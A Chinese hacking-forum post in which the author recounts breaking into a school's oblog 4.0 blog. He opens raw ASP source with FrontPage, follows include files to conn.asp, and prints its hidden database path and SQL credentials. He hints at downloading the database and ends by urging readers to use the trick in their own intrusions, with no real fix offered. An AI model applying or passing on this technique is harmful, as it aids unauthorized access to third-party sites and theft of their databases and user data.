文章作者:CnCxz(臭小子) QQ:114131313
信息来源:邪恶八进制信息安全团队(
www.eviloctal.com)
注意:CnCxz版权所有,由作者友情提交到邪恶八进制信息安全团队论坛,转载请注明原始作者信息。
今天闲来没事做,便打算找个BLOG系统来玩玩。。挑了我们这边一个学校的BLOG系统。(如图一)
到处逛一逛~搜集信息是很重要的嘛。。。嗯。。用的是oblog 4.0的系统。。。
主页
http://blog.xxx.net/index.asp
可能是index.asp里面设置了跳转,一进入便跳转到
http://blog.xxx.net/index.html
思索。。。怎么能读到index.asp的内容呢?拿出FrontPage,打开输入
http://blog.xxx.net/index.asp
意外,居然成功打开!二话没说打开代码栏查看代码!(如图二)
的确在index.asp中设置了跳转,但是看到了更让人兴奋的东西:
<!--#include file="inc/inc_syssite.asp"-->
<!--#include file="inc/syscode.asp"-->
是否也能用FrontPage打开呢?抱着试一试的态度打开
http://blog.xxx.net/inc/inc_syssite.asp
还真的可以直接打开原始文件!(如图三)
inc_syssite.asp中也有include file
<!--#include file="../conn.asp"-->
<!--#include file="class_sys.asp"-->
同样的原理与方法,我们继续打开
http://blog.xxx.net/conn.asp(如图四)
就这样。。我们打开了连接数据库的conn.asp文件。。所有与数据库有关的设置,我们可以直接查看了。。很容易,就找到了连接数据库的关键语句:
If Is_Sqldata=0 Then
'Access数据库连接参数
'请务必阅读程序附带的数据库安全设置指南
'此处必须为以根目录开始,最前面必须为/号
db = "/data/w34dkf9045kgf!@#$-o-D74uuid.asp"
ConnStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Server.MapPath
(db)
G_Sql_d_Char="#"
G_Sql_y="'y'"
G_Sql_m="'m'"
G_Sql_d="'d'"
G_Sql_h="'h'"
G_Sql_mi="'n'"
G_Sql_s="'s'"
G_Sql_Now="Now()"
Else
'Sql数据库连接参数:连接名(本地用local,外地用IP)$数据库名$用户名$用户密码
Dim Sql_DBServer,Sql_DBName,Sql_User,Sql_Password
Sql_DBServer = "(local)"
Sql_DBName = "oblog31"
Sql_User = "oblog"
Sql_Password = "oblog"
ConnStr = "Provider = Sqloledb; User ID = " & Sql_User & "; Password = " &
Sql_Password & "; Initial Catalog = " & Sql_DBName & "; Data Source = " & Sql_DBServer & ";"
G_Sql_d_Char="'"
G_Sql_y="y"
G_Sql_m="m"
G_Sql_d="d"
G_Sql_h="h"
G_Sql_mi="n"
G_Sql_s="s"
G_Sql_Now="getdate()"
End If
db = "/data/w34dkf9045kgf!@#$-o-D74uuid.asp"
看到这句,大家应该明白什么了吧?对!下载数据库!然后的事情就。。。呵呵~
解决方法:
因为我菜啊。。。对ASP也只懂那么一点皮毛,希望有牛人提供解决方法。应该是屏蔽用FrontPage直接打开原始文件。
入侵重要的是思路,大家在一筹莫展的时候,可以试试用FrontPage打开文件,会有意想不到的效果!
第一次写文章,写得不好的地方希望大家提出来,大家共同进步!